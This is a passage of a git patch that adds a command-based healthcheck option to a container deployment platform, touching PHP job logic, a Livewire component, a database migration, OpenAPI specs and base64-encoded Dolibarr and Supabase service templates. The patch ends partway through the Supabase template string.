From 342e8e765d8b4e27633da70539bdf95f7099713d Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Thu, 25 Dec 2025 07:56:19 +0000 Subject: [PATCH 001/305] feat: add command healthcheck type --- app/Jobs/ApplicationDeploymentJob.php | 11 +++- app/Livewire/Project/Shared/HealthChecks.php | 18 ++++++ app/Models/Application.php | 2 + ..._cmd_healthcheck_to_applications_table.php | 44 ++++++++++++++ openapi.json | 13 +++++ openapi.yaml | 10 ++++ .../project/shared/health-checks.blade.php | 57 +++++++++++++------ templates/service-templates-latest.json | 6 +- templates/service-templates.json | 6 +- 9 files changed, 143 insertions(+), 24 deletions(-) create mode 100644 database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 56a29276b..7ee7fe0e2 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -1798,7 +1798,8 @@ private function health_check() $counter = 1; $this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.'); if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) { - $this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}"); + $healthcheckLabel = $this->application->health_check_type === 'cmd' ? 'Healthcheck command' : 'Healthcheck URL'; + $this->application_deployment_queue->addLogEntry("{$healthcheckLabel} (inside the container): {$this->full_healthcheck_url}"); } $this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck."); $sleeptime = 0; @@ -2749,6 +2750,14 @@ private function generate_local_persistent_volumes_only_volume_names() private function generate_healthcheck_commands() { + // Handle CMD type healthcheck + if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) { + $this->full_healthcheck_url = $this->application->health_check_command; + + return $this->application->health_check_command; + } + + // HTTP type healthcheck (default) if (! $this->application->health_check_port) { $health_check_port = $this->application->ports_exposes_array[0]; } else { diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php index 05f786690..ec4f494f8 100644 --- a/app/Livewire/Project/Shared/HealthChecks.php +++ b/app/Livewire/Project/Shared/HealthChecks.php @@ -16,6 +16,12 @@ class HealthChecks extends Component #[Validate(['boolean'])] public bool $healthCheckEnabled = false; + #[Validate(['string', 'in:http,cmd'])] + public string $healthCheckType = 'http'; + + #[Validate(['nullable', 'string'])] + public ?string $healthCheckCommand = null; + #[Validate(['string'])] public string $healthCheckMethod; @@ -54,6 +60,8 @@ class HealthChecks extends Component protected $rules = [ 'healthCheckEnabled' => 'boolean', + 'healthCheckType' => 'string|in:http,cmd', + 'healthCheckCommand' => 'nullable|string', 'healthCheckPath' => 'string', 'healthCheckPort' => 'nullable|string', 'healthCheckHost' => 'string', @@ -81,6 +89,8 @@ public function syncData(bool $toModel = false): void // Sync to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -98,6 +108,8 @@ public function syncData(bool $toModel = false): void } else { // Sync from model $this->healthCheckEnabled = $this->resource->health_check_enabled; + $this->healthCheckType = $this->resource->health_check_type ?? 'http'; + $this->healthCheckCommand = $this->resource->health_check_command; $this->healthCheckMethod = $this->resource->health_check_method; $this->healthCheckScheme = $this->resource->health_check_scheme; $this->healthCheckHost = $this->resource->health_check_host; @@ -119,6 +131,8 @@ public function instantSave() // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -143,6 +157,8 @@ public function submit() // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -171,6 +187,8 @@ public function toggleHealthcheck() // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; diff --git a/app/Models/Application.php b/app/Models/Application.php index 5006d0ff8..ce8a10dd0 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -60,6 +60,8 @@ 'health_check_timeout' => ['type' => 'integer', 'description' => 'Health check timeout in seconds.'], 'health_check_retries' => ['type' => 'integer', 'description' => 'Health check retries count.'], 'health_check_start_period' => ['type' => 'integer', 'description' => 'Health check start period in seconds.'], + 'health_check_type' => ['type' => 'string', 'description' => 'Health check type: http or cmd.', 'enum' => ['http', 'cmd']], + 'health_check_command' => ['type' => 'string', 'nullable' => true, 'description' => 'Health check command for CMD type.'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit.'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit.'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness.'], diff --git a/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php b/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php new file mode 100644 index 000000000..cd9d98a1c --- /dev/null +++ b/database/migrations/2025_12_25_072315_add_cmd_healthcheck_to_applications_table.php @@ -0,0 +1,44 @@ +text('health_check_type')->default('http')->after('health_check_enabled'); + }); + } + + if (! Schema::hasColumn('applications', 'health_check_command')) { + Schema::table('applications', function (Blueprint $table) { + $table->text('health_check_command')->nullable()->after('health_check_type'); + }); + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + if (Schema::hasColumn('applications', 'health_check_type')) { + Schema::table('applications', function (Blueprint $table) { + $table->dropColumn('health_check_type'); + }); + } + + if (Schema::hasColumn('applications', 'health_check_command')) { + Schema::table('applications', function (Blueprint $table) { + $table->dropColumn('health_check_command'); + }); + } + } +}; diff --git a/openapi.json b/openapi.json index fe8ca863e..3270e13b2 100644 --- a/openapi.json +++ b/openapi.json @@ -10173,6 +10173,19 @@ "type": "integer", "description": "Health check start period in seconds." }, + "health_check_type": { + "type": "string", + "description": "Health check type: http or cmd.", + "enum": [ + "http", + "cmd" + ] + }, + "health_check_command": { + "type": "string", + "nullable": true, + "description": "Health check command for CMD type." + }, "limits_memory": { "type": "string", "description": "Memory limit." diff --git a/openapi.yaml b/openapi.yaml index a7faa8c72..7511e0c91 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -6416,6 +6416,16 @@ components: health_check_start_period: type: integer description: 'Health check start period in seconds.' + health_check_type: + type: string + description: 'Health check type: http or cmd.' + enum: + - http + - cmd + health_check_command: + type: string + nullable: true + description: 'Health check command for CMD type.' limits_memory: type: string description: 'Memory limit.' diff --git a/resources/views/livewire/project/shared/health-checks.blade.php b/resources/views/livewire/project/shared/health-checks.blade.php index 730353c87..a0027c62c 100644 --- a/resources/views/livewire/project/shared/health-checks.blade.php +++ b/resources/views/livewire/project/shared/health-checks.blade.php @@ -20,25 +20,48 @@

A custom health check has been detected. If you enable this health check, it will disable the custom one and use this instead.

@endif + + {{-- Healthcheck Type Selector --}}
- - - + + + - - - - - - - -
-
- -
+ + @if ($healthCheckType === 'http') + {{-- HTTP Healthcheck Fields --}} +
+ + + + + + + + + + + +
+
+ + +
+ @else + {{-- CMD Healthcheck Fields --}} +
+ +
+ @endif + + {{-- Common timing fields (used by both types) --}}
@@ -49,4 +72,4 @@ label="Start Period (s)" required />
- \ No newline at end of file + diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index c3e33b582..1986e17d3 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -851,7 +851,7 @@ "dolibarr": { "documentation": "https://www.dolibarr.org/documentation-home.php?utm_source=coolify.io", "slogan": "Dolibarr is a modern software package to manage your organization's activity (contacts, quotes, invoices, orders, stocks, agenda, hr, expense reports, accountancy, ecm, manufacturing, ...).", - "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0RPTElCQVJSXzgwCiAgICAgIC0gJ1dXV19VU0VSX0lEPSR7V1dXX1VTRVJfSUQ6LTEwMDB9JwogICAgICAtICdXV1dfR1JPVVBfSUQ9JHtXV1dfR1JPVVBfSUQ6LTEwMDB9JwogICAgICAtIERPTElfREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gJ0RPTElfREJfTkFNRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ0RPTElfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ0RPTElfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgICAgLSAnRE9MSV9VUkxfUk9PVD0ke1NFUlZJQ0VfVVJMX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9MT0dJTj0ke1NFUlZJQ0VfVVNFUl9ET0xJQkFSUn0nCiAgICAgIC0gJ0RPTElfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9DUk9OPSR7RE9MSV9DUk9OOi0wfScKICAgICAgLSAnRE9MSV9JTklUX0RFTU89JHtET0xJX0lOSVRfREVNTzotMH0nCiAgICAgIC0gJ0RPTElfQ09NUEFOWV9OQU1FPSR7RE9MSV9DT01QQU5ZX05BTUU6LU15QmlnQ29tcGFueX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9ST09UfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvbGliYXJyX21hcmlhZGJfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0RPTElCQVJSXzgwCiAgICAgIC0gJ1dXV19VU0VSX0lEPSR7V1dXX1VTRVJfSUQ6LTEwMDB9JwogICAgICAtICdXV1dfR1JPVVBfSUQ9JHtXV1dfR1JPVVBfSUQ6LTEwMDB9JwogICAgICAtIERPTElfREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gJ0RPTElfREJfTkFNRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ0RPTElfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ0RPTElfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgICAgLSAnRE9MSV9VUkxfUk9PVD0ke1NFUlZJQ0VfVVJMX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9MT0dJTj0ke1NFUlZJQ0VfVVNFUl9ET0xJQkFSUn0nCiAgICAgIC0gJ0RPTElfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9DUk9OPSR7RE9MSV9DUk9OOi0wfScKICAgICAgLSAnRE9MSV9JTklUX0RFTU89JHtET0xJX0lOSVRfREVNTzotMH0nCiAgICAgIC0gJ0RPTElfQ09NUEFOWV9OQU1FPSR7RE9MSV9DT01QQU5ZX05BTUU6LU15QmlnQ29tcGFueX0nCiAgICB2b2x1bWVzOgogICAgICAtICdkb2xpYmFycl9kb2NzOi92YXIvd3d3L2RvY3VtZW50cycKICAgICAgLSAnZG9saWJhcnJfY3VzdG9tOi92YXIvd3d3L2h0bWwvY3VzdG9tJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotZG9saWJhcnItZGJ9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUk9PVH0nCiAgICB2b2x1bWVzOgogICAgICAtICdkb2xpYmFycl9tYXJpYWRiX2RhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaGVhbHRoY2hlY2suc2gKICAgICAgICAtICctLWNvbm5lY3QnCiAgICAgICAgLSAnLS1pbm5vZGJfaW5pdGlhbGl6ZWQnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "crm", "erp" @@ -4088,7 +4088,7 @@ "supabase": { "documentation": "https://supabase.io?utm_source=coolify.io", "slogan": "The open source Firebase alternative.", - "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR184MDAwCiAgICAgIC0gJ0tPTkdfUE9SVF9NQVBTPTQ0Mzo4MDAwJwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEtPTkdfREFUQUJBU0U9b2ZmCiAgICAgIC0gS09OR19ERUNMQVJBVElWRV9DT05GSUc9L2hvbWUva29uZy9rb25nLnltbAogICAgICAtICdLT05HX0ROU19PUkRFUj1MQVNULEEsQ05BTUUnCiAgICAgIC0gJ0tPTkdfUExVR0lOUz1yZXF1ZXN0LXRyYW5zZm9ybWVyLGNvcnMsa2V5LWF1dGgsYWNsLGJhc2ljLWF1dGgnCiAgICAgIC0gS09OR19OR0lOWF9QUk9YWV9QUk9YWV9CVUZGRVJfU0laRT0xNjBrCiAgICAgIC0gJ0tPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSUz02NCAxNjBrJwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnREFTSEJPQVJEX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX0FETUlOfScKICAgICAgLSAnREFTSEJPQVJEX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2FwaS9rb25nLnltbAogICAgICAgIHRhcmdldDogL2hvbWUva29uZy90ZW1wLnltbAogICAgICAgIGNvbnRlbnQ6ICJfZm9ybWF0X3ZlcnNpb246ICcyLjEnXG5fdHJhbnNmb3JtOiB0cnVlXG5cbiMjI1xuIyMjIENvbnN1bWVycyAvIFVzZXJzXG4jIyNcbmNvbnN1bWVyczpcbiAgLSB1c2VybmFtZTogREFTSEJPQVJEXG4gIC0gdXNlcm5hbWU6IGFub25cbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9BTk9OX0tFWVxuICAtIHVzZXJuYW1lOiBzZXJ2aWNlX3JvbGVcbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9TRVJWSUNFX0tFWVxuXG4jIyNcbiMjIyBBY2Nlc3MgQ29udHJvbCBMaXN0XG4jIyNcbmFjbHM6XG4gIC0gY29uc3VtZXI6IGFub25cbiAgICBncm91cDogYW5vblxuICAtIGNvbnN1bWVyOiBzZXJ2aWNlX3JvbGVcbiAgICBncm91cDogYWRtaW5cblxuIyMjXG4jIyMgRGFzaGJvYXJkIGNyZWRlbnRpYWxzXG4jIyNcbmJhc2ljYXV0aF9jcmVkZW50aWFsczpcbi0gY29uc3VtZXI6IERBU0hCT0FSRFxuICB1c2VybmFtZTogJERBU0hCT0FSRF9VU0VSTkFNRVxuICBwYXNzd29yZDogJERBU0hCT0FSRF9QQVNTV09SRFxuXG5cbiMjI1xuIyMjIEFQSSBSb3V0ZXNcbiMjI1xuc2VydmljZXM6XG5cbiAgIyMgT3BlbiBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS92ZXJpZnlcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvdmVyaWZ5XG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9jYWxsYmFja1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWNhbGxiYWNrXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9jYWxsYmFja1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tYXV0aG9yaXplXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L2F1dGhvcml6ZVxuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvYXV0aG9yaXplXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIFNlY3VyZSBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjFcbiAgICBfY29tbWVudDogJ0dvVHJ1ZTogL2F1dGgvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5LyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUkVTVCByb3V0ZXNcbiAgLSBuYW1lOiByZXN0LXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9yZXN0L3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlc3QtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVzdC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgR3JhcGhRTCByb3V0ZXNcbiAgLSBuYW1lOiBncmFwaHFsLXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9ncmFwaHFsL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9ycGMvZ3JhcGhxbCdcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWxcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGdyYXBocWwtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZ3JhcGhxbC92MVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IHRydWVcbiAgICAgIC0gbmFtZTogcmVxdWVzdC10cmFuc2Zvcm1lclxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgYWRkOlxuICAgICAgICAgICAgaGVhZGVyczpcbiAgICAgICAgICAgICAgLSBDb250ZW50LVByb2ZpbGU6Z3JhcGhxbF9wdWJsaWNcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFNlY3VyZSBSZWFsdGltZSByb3V0ZXNcbiAgLSBuYW1lOiByZWFsdGltZS12MS13c1xuICAgIF9jb21tZW50OiAnUmVhbHRpbWU6IC9yZWFsdGltZS92MS8qIC0+IHdzOi8vcmVhbHRpbWU6NDAwMC9zb2NrZXQvKidcbiAgICB1cmw6IGh0dHA6Ly9yZWFsdGltZS1kZXY6NDAwMC9zb2NrZXRcbiAgICBwcm90b2NvbDogd3NcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXdzXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvYXBpXG4gICAgcHJvdG9jb2w6IGh0dHBcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9yZWFsdGltZS92MS9hcGlcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU3RvcmFnZSByb3V0ZXM6IHRoZSBzdG9yYWdlIHNlcnZlciBtYW5hZ2VzIGl0cyBvd24gYXV0aFxuICAtIG5hbWU6IHN0b3JhZ2UtdjFcbiAgICBfY29tbWVudDogJ1N0b3JhZ2U6IC9zdG9yYWdlL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHN0b3JhZ2UtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvc3RvcmFnZS92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG5cbiAgIyMgRWRnZSBGdW5jdGlvbnMgcm91dGVzXG4gIC0gbmFtZTogZnVuY3Rpb25zLXYxXG4gICAgX2NvbW1lbnQ6ICdFZGdlIEZ1bmN0aW9uczogL2Z1bmN0aW9ucy92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczo5MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGZ1bmN0aW9ucy12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9mdW5jdGlvbnMvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEFuYWx5dGljcyByb3V0ZXNcbiAgLSBuYW1lOiBhbmFseXRpY3MtdjFcbiA